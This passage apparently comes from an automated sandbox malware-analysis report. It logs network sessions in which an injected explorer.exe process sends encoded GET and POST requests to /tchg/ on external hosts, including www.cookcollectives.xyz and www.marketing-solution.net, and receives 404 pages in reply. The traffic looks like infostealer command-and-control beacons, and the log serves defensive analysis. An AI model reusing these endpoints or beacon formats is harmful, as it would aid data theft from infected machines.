pbC8R(27vKoSGdi3uOPuNTqBC30H0wZ7xts1CNGBDFRtGGFNP8yqUEroOBYB9PhaCkmlaz8CWYkRp(OCcSZuAWRWJym95LXm_Okd9wuF7ZUj1u5L_Whh1~ZF9174ULVtTYwCDW8v1bxxKDxGy~LSL4Er1Ui9r1Kkpzf64Nu2woxHPvafIZX1Rzc6xgs7J7HWeZq0JWJFA9leHELTzGWc9QMEHD2iUR3dNg_BxuWW4dmnTPRvklbJouCLuhXk-qodl2LraFIDPzJJxPvSghoqdsLczD9nhy1L6xZJmfMXO2looB1Qo9CAdOpakwaC0Ccrx9zflRWJie3V8YTPNEvHY(dDOVGjCX-j5rTc0OXY8l_cYj6HmJAfzVGZturZL1IlmBAnYwFd-K6fKrB~oXLz6didDqlXbTg8LfHhMy_Otl3GxbVHO29s9FawSc2VJBDkse4SyvJI3Rw5FYQSw2vCfzyORJPSvH_4gMXDkP5nt1bZF8AmLTLgHdj~aEBTt2f6x63uUnapIY99Q1AYYbNWxwgCDZIbcC5IaIKTwd2kVzP(PKx~BPNrb5PS4SUgBO-m8qFU9CU3hUxzsVGXwspTJZcZqYPnKKKw2UXJTCZnL2pmkDdBEuBRhGRv4w7levBPYpIYELCcr7glumyGHNyyC5gp6UtlHw7bzmklrf1qM8VegqZNleNPcDCEGGTKJEpUcJqzUSHIyFjdUaXYBxkbLAVvIfdqAsHmLqy(bmce01-3x87~0TFiQx_a2ExNg(v6xJBe0855_I-TJ5e0AtRLtkMcpqsYlKVg7rzWmfnaTar49LMvcIRTRoUHksLWEZyXeSK4SZBZ626p_ZnE2I8M-LGsz4D0Ce8JXkljiUmvE~MchfRpbssaBeWCPL_6CjKqy(Zf0xNR5Z6alBUkhlAmHx6lhzu2tVDOeH3
May 30, 2023 11:12:23.413707018 CEST	1493	OUT	Data Raw: 4c 6d 32 78 7a 56 38 43 67 45 69 69 68 79 79 79 77 71 71 38 4c 68 52 75 7a 70 52 71 68 6f 39 58 59 57 6c 39 44 33 62 46 73 4a 34 7e 66 79 49 39 6d 48 61 73 54 72 69 6a 4a 66 5f 5a 31 4d 4c 47 4e 52 54 75 61 6a 37 5a 6d 70 4a 37 53 6b 4a 70 61 4d Data Ascii: Lm2xzV8CgEiihyyywqq8LhRuzpRqho9XYWl9D3bFsJ4~fyI9mHasTrijJf_Z1MLGNRTuaj7ZmpJ7SkJpaMoiwXXpMNo~vvIU8A5R-aFljnaC-x-TEpKf3injibH~sPg4jaRDCQhqGAeyx97Tas5oXqzogkdp9iMGnvVtTjRONijeWZXQGbchpUJbsZpJO24ramRXXYMCs8zim0BPhkZc6h1gVtFAFV10V8CeXw6ToUcSeEsnVMC
May 30, 2023 11:12:23.583750010 CEST	1496	OUT	Data Raw: 47 71 37 4f 68 4e 48 31 68 6a 39 6b 6f 58 56 49 66 50 51 41 2d 50 71 45 66 6a 78 58 54 4e 38 57 73 4e 56 7a 76 75 72 39 55 49 53 7e 2d 57 41 36 39 6e 78 6b 36 77 4d 61 6d 5a 59 6f 46 6f 35 4f 32 71 4c 75 61 47 72 42 32 47 34 43 38 63 45 59 74 69 Data Ascii: Gq7OhNH1hj9koXVIfPQA-PqEfjxXTN8WsNVzvur9UIS~-WA69nxk6wMamZYoFo5O2qLuaGrB2G4C8cEYtiuRMCHSSd0p_xYco0_Trv1vizmyB53Z7JS2OhgZkeKOOrKmxI-2OzNKavOljF-RHGc6AE30ComFWoC7MToVYVZxIL1KxddRLi6BaPzs72deoNBlPIKAf8yBfUeQQ9xB3q3gq2BaRxLlfXoekQTBNLkFThqX6SmpdwU
May 30, 2023 11:12:23.583935022 CEST	1509	OUT	Data Raw: 31 45 41 6d 58 41 79 42 2d 46 42 4f 64 4c 54 31 73 37 54 39 6c 4d 53 4e 45 5a 67 47 4e 53 4a 34 75 56 62 78 4c 5a 75 55 53 77 75 54 65 52 5f 65 69 53 67 38 70 53 49 69 6a 6f 5f 51 59 53 53 6d 76 77 69 46 56 36 66 63 46 76 37 55 69 54 64 58 72 28 Data Ascii: 1EAmXAyB-FBOdLT1s7T9lMSNEZgGNSJ4uVbxLZuUSwuTeR_eiSg8pSIijo_QYSSmvwiFV6fcFv7UiTdXr(nd7bjccopDPXdrnc-knzPBV9DiEIY9sxbpkLezsNRuUQ_eL(7clUKS0rRMa39bKuE~dOvpoEREEhuEufMW8I0LiihMv8dhbAIEL(kjXVmJXmSkCjX89z_vMEdlVy_9nlluz09xGFz6UvcnFnu3S88FnkMW04nbfW7
May 30, 2023 11:12:23.584084988 CEST	1514	OUT	Data Raw: 45 51 5f 65 72 7a 66 4a 51 73 51 72 4e 53 30 4b 73 6d 43 4a 52 45 71 41 72 59 5a 74 4d 28 62 72 4f 68 66 4b 64 72 42 77 58 38 78 63 33 56 2d 6f 79 57 6a 79 65 51 6d 55 4e 4e 49 4b 56 30 42 6c 64 47 53 31 44 65 79 59 4d 28 41 6d 6c 6a 48 67 63 55 Data Ascii: EQ_erzfJQsQrNS0KsmCJREqArYZtM(brOhfKdrBwX8xc3V-oyWjyeQmUNNIKV0BldGS1DeyYM(AmljHgcUnkwuiBc7yep9ZKVWz(G7n~O1dDrDSmCPEX1YcNb~WOpV2XIw-UF1Stmdeja8cpIMSdkiRtof8qAr0ASVXVbbDw2tpKc8XQPX3K_QtAE86z4l5XUFBmwELdqhzzx7vN9USvpIrm4fK7plF~T5JcidTDaNOb2mhT9FE
May 30, 2023 11:12:23.584422112 CEST	1516	OUT	Data Raw: 31 64 58 51 78 72 63 46 49 70 6d 42 31 4b 74 6d 7a 52 36 67 4b 66 61 6a 46 56 55 31 6f 4c 48 66 7a 6c 77 31 7a 7e 65 67 48 6d 56 7e 37 57 7a 57 67 53 55 55 6c 6d 54 33 55 75 31 4a 4c 42 51 71 72 34 66 56 35 38 36 55 46 4e 4d 59 73 63 68 77 31 38 Data Ascii: 1dXQxrcFIpmB1KtmzR6gKfajFVU1oLHfzlw1z~egHmV~7WzWgSUUlmT3Uu1JLBQqr4fV586UFNMYschw18IGQNFy3MRCQ4GYhKphSomhAWyTOjjLzWKlQHd3vmfqKyFZEH40kdPxt~5kvZ8cc5jsSDipGBypJY6Ipd9mL4bpiO6NJxzXlgBwGfLpmTKrvWnkE2x0edz7xAImR9OPLpkmSqCG8IZ9n8QnBigVs6q8HvBJW7Z~nro
May 30, 2023 11:12:23.584590912 CEST	1519	OUT	Data Raw: 50 4d 4f 77 52 67 34 48 42 38 69 4a 63 35 4e 79 52 47 34 53 79 72 42 67 69 42 74 6d 74 6d 69 53 42 7a 6b 41 55 68 2d 73 77 72 44 56 37 4b 32 56 68 42 6d 4d 54 75 74 4d 6f 59 75 69 5a 46 48 30 47 57 39 6e 49 56 31 76 2d 47 49 53 4f 61 39 72 78 63 Data Ascii: PMOwRg4HB8iJc5NyRG4SyrBgiBtmtmiSBzkAUh-swrDV7K2VhBmMTutMoYuiZFH0GW9nIV1v-GISOa9rxcY5hGmjDD8s1T9CGidyz1oE6easXyWLS84u34JC9kATxQYuDY699si1jXELgSa8kThjurdCNCiBO96mCdu7Oq0H5M6(EiWl1NmansY7Rdia989RCewbbMX3gE1ORhnEk8dJw4xPHJA(VNsufck61bnyTlXwJR_PPA1
May 30, 2023 11:12:23.753429890 CEST	1522	OUT	Data Raw: 35 38 5f 77 38 4a 45 55 46 59 42 66 65 6f 6a 72 4b 4d 43 70 4f 5a 68 69 77 58 4e 4c 77 77 46 75 6a 31 31 43 31 67 4b 73 71 59 69 28 58 38 6a 36 79 43 4a 7a 39 51 4a 58 68 67 57 6f 48 39 78 56 6c 37 6f 42 48 4e 4b 70 71 64 68 32 57 79 61 36 63 79 Data Ascii: 58_w8JEUFYBfeojrKMCpOZhiwXNLwwFuj11C1gKsqYi(X8j6yCJz9QJXhgWoH9xVl7oBHNKpqdh2Wya6cyIaUeWFByVUCkBVY(K1NE6bVk-hYXLg9vCGU4EEp(dR6yqxo~Me0mcDwIcD1IKDGkxIuDUnO~Ggn~MBsa2gRwcggt8uAimeMc1D882VV~THKw6eNrG7A99Y-ONcZX0QuJFLWr48-ouuwqTRedyL52k~CD5PsLhKEjt
May 30, 2023 11:12:23.753587008 CEST	1527	OUT	Data Raw: 67 61 64 4d 4c 7e 37 36 32 5a 34 77 6f 34 36 59 6d 33 6b 42 33 75 63 51 70 72 75 4a 46 46 4d 4b 36 74 4e 66 52 35 68 6d 71 46 48 5a 72 48 39 38 73 38 35 78 5a 5a 68 6e 61 37 35 50 45 59 2d 6e 48 28 4f 77 30 67 70 4e 35 35 71 73 6b 44 76 55 57 36 Data Ascii: gadML~762Z4wo46Ym3kB3ucQpruJFFMK6tNfR5hmqFHZrH98s85xZZhna75PEY-nH(Ow0gpN55qskDvUW6yDmldm6jNayKV4GqqXT3pI_tV387gdlMbJYlo5vsI1tAfw7IgVyla7Fi7M9Aa0B(sKrRcYujKD4JIhRkhPZx5uLna~2wuvQPsco3xkvZHMlgGkg2ryHDKigoQAB5I9gcUBmq5QdSxU0Zcwe31SCOVLYicy-RWSsNc
May 30, 2023 11:12:23.753997087 CEST	1528	OUT	Data Raw: 58 4f 34 4c 59 38 59 37 65 63 4d 52 41 36 33 6e 32 6a 36 4c 74 44 64 54 59 6c 73 61 51 5a 35 34 5f 55 6b 31 4d 33 67 38 6e 44 57 75 62 39 4a 6e 61 75 34 37 4b 77 33 6a 66 41 66 77 79 50 79 42 35 54 51 68 69 4f 72 65 38 42 6c 65 4d 46 58 73 43 74 Data Ascii: XO4LY8Y7ecMRA63n2j6LtDdTYlsaQZ54_Uk1M3g8nDWub9Jnau47Kw3jfAfwyPyB5TQhiOre8BleMFXsCtYx9TTSNLd(ptqD8cPQqS2mL52Ljeq5smtuup01xYlirvfb1L3yJiHWiUhFAhXTceibaRZozi3V5lmByS6GgfqxR2du5Im(auiz3ZJpXOShwifPSOCNM(mXK0fghVTyd4S644TDlET2HZpzAfEGDyaQE673q2KmERf
May 30, 2023 11:12:23.754168034 CEST	1532	OUT	Data Raw: 4a 78 74 6f 67 7e 4e 50 6e 34 31 76 78 33 55 6d 77 59 35 73 5a 53 64 52 4f 6e 6c 75 57 6f 77 56 78 61 70 39 55 4b 4b 50 59 7e 50 46 69 72 31 43 48 75 4a 7e 41 4c 33 6d 71 6a 2d 56 49 53 61 50 53 66 5a 76 74 39 6c 76 58 76 41 30 46 4c 47 6c 6b 57 Data Ascii: Jxtog~NPn41vx3UmwY5sZSdROnluWowVxap9UKKPY~PFir1CHuJ~AL3mqj-VISaPSfZvt9lvXvA0FLGlkWHnb1RjHqKH7hnqLBlOryRsGl5tlP5e7zqLOzKs7nUbpEIQfR6(mBbegnCdTYKLUCBsTKf6a0e8q8q9iR5GO6Wc0qBTlJTl7vNmIfjo7R8ZgoQN6LqoG1_LS9xo09ZUpcyxEdpMmv35Auhcoplt0N5sHmfImj7mRc5
May 30, 2023 11:12:24.052491903 CEST	1535	IN	HTTP/1.1 404 Not Found Date: Tue, 30 May 2023 09:12:23 GMT Server: Apache Content-Length: 4406 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 43 6f 64 65 73 74 65 72 20 7c 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 72 65 73 70 6f 6e 73 69 76 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 33 30 30 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 73 75 70 65 72 66 69 73 68 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 65 61 73 69 6e 67 2e 31 2e 33 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 63 6f 6f 6b 69 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 6c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 6a 51 75 65 72 79 28 27 2e 73 70 69 6e 6e 65 72 27 29 2e 61 6e 69 6d 61 74 65 28 7b 0d 0a 20 20 20 20 20 20 20 20 27 6f 70 61 63 69 74 79 27 3a 20 30 0d 0a 20 20 20 20 7d 2c 20 31 30 30 30 2c 20 27 65 61 73 65 4f 75 74 43 75 62 69 63 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 6a 51 75 65 72 79 28 74 68 69 73 29 2e 63 73 73 28 27 64 69 73 70 6c 61 79 27 2c 20 27 6e 6f 6e 65 27 29 0d 0a 20 20 20 20 7d 29 3b 0d 0a 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 5d 3e 0d 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 69 6e 64 6f 77 73 2f 69 6e 74 65 72 6e 65 74 2d 65 78 70 6c 6f 72 65 72 2f 64 65 66 61 75 6c 74 2e 61 73 70 78 3f 6f 63 69 64 3d 69 65 36 5f 63 6f 75 6e 74 64 6f 77 6e 5f 62 61 6e 6e 65 72 63 6f 64 65 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 68 65 69 65 36 63 6f 75 6e 74 64 6f 77 6e 2e 63 6f 6d 2f 69 6d 67 2f 75 70 67 72 61 64 65 2e 6a 70 67 22 62 6f 72 64 65 72 3d 22 30 22 61 6c 74 3d 22 22 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 20 20 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d Data Ascii: <!DOCTYPE html><html lang="en"><head><title>Codester \| 404</title><meta charset="utf-8"><link rel="stylesheet" href="/css/bootstrap.css" type="text/css" media="screen"><link rel="stylesheet" href="/css/responsive.css" type="text/css" media="screen"><link rel="stylesheet" href="/css/style.css" type="text/css" media="screen"><link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300' rel='stylesheet' type='text/css'><script src="/js/jquery.js"></script><script src="/js/superfish.js"></script><script src="/js/jquery.easing.1.3.js"></script><script src="/js/jquery.cookie.js"></script><script>jQuery(window).load(function () { jQuery('.spinner').animate({ 'opacity': 0 }, 1000, 'easeOutCubic', function () { jQuery(this).css('display', 'none') });});</script>...[if lt IE 8]><div style='text-align:center'><a href="http://www.microsoft.com/windows/internet-explorer/default.aspx?ocid=ie6_countdown_bannercode"><img src="http://www.theie6countdown.com/img/upgrade.jpg"border="0"alt=""/></a></div> <![endif]-->...[if (gt IE 9)\|!(IE)]>...>...<![endif]-
May 30, 2023 11:12:24.052575111 CEST	1536	IN	Data Raw: 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 6a 73 2f 68 74 6d 6c 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 Data Ascii: ->...[if lt IE 9]><script src="js/html5.js"></script><link rel="stylesheet" href="css/docs.css" type="text/css" media="screen"><link rel="stylesheet" href="css/ie.css" type="text/css" media="screen"><link href='http://fonts.googleap
May 30, 2023 11:12:24.052638054 CEST	1537	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 22 3e 50 72 6f 63 65 73 73 20 30 31 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 Data Ascii: <li><a href="/">Process 01</a></li> <li><a href="/">Process 02</a></li> <li><a href="/">Process 03</a></li> </ul> </li> <li><a href="con
May 30, 2023 11:12:24.052691936 CEST	1538	IN	Data Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 Data Ascii: > </form> </div> </div> </div> </div> </div> </div></div>... footer --><footer> <div class="container clearfix"> <ul class="list-social pull-right"> <li><a

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.11.20	49838	199.192.30.147	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:12:26.099682093 CEST	1539	OUT	GET /tchg/?O0qEM=/2jSjcKJMdr4ffgZ+zzkfBSRTsT2SH0igJpEl+3lX4mpJUIOx7Qie7mq5rJzO4NdwHagEWX+5iltx1Pxra2/KdiiiY2yLTCphg==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.cookcollectives.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:12:26.380362988 CEST	1540	IN	HTTP/1.1 404 Not Found Date: Tue, 30 May 2023 09:12:26 GMT Server: Apache Content-Length: 4406 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 43 6f 64 65 73 74 65 72 20 7c 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 72 65 73 70 6f 6e 73 69 76 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 33 30 30 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 73 75 70 65 72 66 69 73 68 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 65 61 73 69 6e 67 2e 31 2e 33 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 63 6f 6f 6b 69 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 6c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 6a 51 75 65 72 79 28 27 2e 73 70 69 6e 6e 65 72 27 29 2e 61 6e 69 6d 61 74 65 28 7b 0d 0a 20 20 20 20 20 20 20 20 27 6f 70 61 63 69 74 79 27 3a 20 30 0d 0a 20 20 20 20 7d 2c 20 31 30 30 30 2c 20 27 65 61 73 65 4f 75 74 43 75 62 69 63 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 6a 51 75 65 72 79 28 74 68 69 73 29 2e 63 73 73 28 27 64 69 73 70 6c 61 79 27 2c 20 27 6e 6f 6e 65 27 29 0d 0a 20 20 20 20 7d 29 3b 0d 0a 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 5d 3e 0d 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 27 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 69 6e 64 6f 77 73 2f 69 6e 74 65 72 6e 65 74 2d 65 78 70 6c 6f 72 65 72 2f 64 65 66 61 75 6c 74 2e 61 73 70 78 3f 6f 63 69 64 3d 69 65 36 5f 63 6f 75 6e 74 64 6f 77 6e 5f 62 61 6e 6e 65 72 63 6f 64 65 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 68 65 69 65 36 63 6f 75 6e 74 64 6f 77 6e 2e 63 6f 6d 2f 69 6d 67 2f 75 70 67 72 61 64 65 2e 6a 70 67 22 62 6f 72 64 65 72 3d 22 30 22 61 6c 74 3d 22 22 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 20 20 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 0d Data Ascii: <!DOCTYPE html><html lang="en"><head><title>Codester \| 404</title><meta charset="utf-8"><link rel="stylesheet" href="/css/bootstrap.css" type="text/css" media="screen"><link rel="stylesheet" href="/css/responsive.css" type="text/css" media="screen"><link rel="stylesheet" href="/css/style.css" type="text/css" media="screen"><link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300' rel='stylesheet' type='text/css'><script src="/js/jquery.js"></script><script src="/js/superfish.js"></script><script src="/js/jquery.easing.1.3.js"></script><script src="/js/jquery.cookie.js"></script><script>jQuery(window).load(function () { jQuery('.spinner').animate({ 'opacity': 0 }, 1000, 'easeOutCubic', function () { jQuery(this).css('display', 'none') });});</script>...[if lt IE 8]><div style='text-align:center'><a href="http://www.microsoft.com/windows/internet-explorer/default.aspx?ocid=ie6_countdown_bannercode"><img src="http://www.theie6countdown.com/img/upgrade.jpg"border="0"alt=""/></a></div> <![endif]-->...[if (gt IE 9)\|!(IE)]>...>
May 30, 2023 11:12:26.380444050 CEST	1541	IN	Data Raw: 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 6a 73 2f 68 74 6d 6c 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 6c 69 6e 6b 20 72 Data Ascii: ...<![endif]-->...[if lt IE 9]><script src="js/html5.js"></script><link rel="stylesheet" href="css/docs.css" type="text/css" media="screen"><link rel="stylesheet" href="css/ie.css" type="text/css" media="screen"><link href='http:/
May 30, 2023 11:12:26.380503893 CEST	1543	IN	Data Raw: 20 3c 75 6c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 22 3e 50 72 6f 63 65 73 73 20 30 31 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <ul> <li><a href="/">Process 01</a></li> <li><a href="/">Process 02</a></li> <li><a href="/">Process 03</a></li> </ul> </li> <
May 30, 2023 11:12:26.380557060 CEST	1543	IN	Data Raw: 65 61 72 63 68 3c 2f 61 3e 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 6f 72 6d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 Data Ascii: earch</a> </div> </form> </div> </div> </div> </div> </div> </div></div>... footer --><footer> <div class="container clearfix"> <ul class="list-social pull-right">

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.11.20	49767	91.195.240.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:08:24.510998011 CEST	336	OUT	POST /tchg/ HTTP/1.1 Host: www.marketing-solution.net Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.marketing-solution.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.marketing-solution.net/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 59 6a 57 74 75 6c 67 6b 50 46 69 4e 52 74 33 54 50 4d 28 54 43 62 75 41 55 4f 56 45 76 6b 31 53 69 36 67 44 30 52 44 4f 42 78 4c 70 49 4b 75 5a 6c 42 4b 54 55 56 4b 4d 34 48 54 36 30 7a 6c 6a 7e 59 48 70 4e 69 46 63 65 4a 44 44 59 6e 4e 31 6d 71 66 31 69 57 45 38 4a 47 38 72 34 30 49 36 4c 6c 35 54 41 41 38 33 72 2d 56 38 57 53 72 51 6f 69 31 6b 30 50 7a 75 68 48 57 5a 54 7a 78 4f 5a 48 74 52 75 5a 70 6c 53 6a 4b 45 41 73 31 64 44 6b 7e 46 33 2d 4b 45 55 48 56 6a 73 34 48 73 39 5f 5a 30 75 46 47 70 6c 37 52 67 52 76 62 4c 46 41 51 55 50 35 4c 6a 69 4c 31 67 50 44 6d 4c 70 37 61 45 78 41 73 6d 42 58 50 33 4e 42 7a 35 78 66 37 7a 50 32 47 71 79 47 43 56 6b 4a 66 38 48 6a 52 38 78 76 74 63 6b 56 6c 6b 78 31 4e 67 46 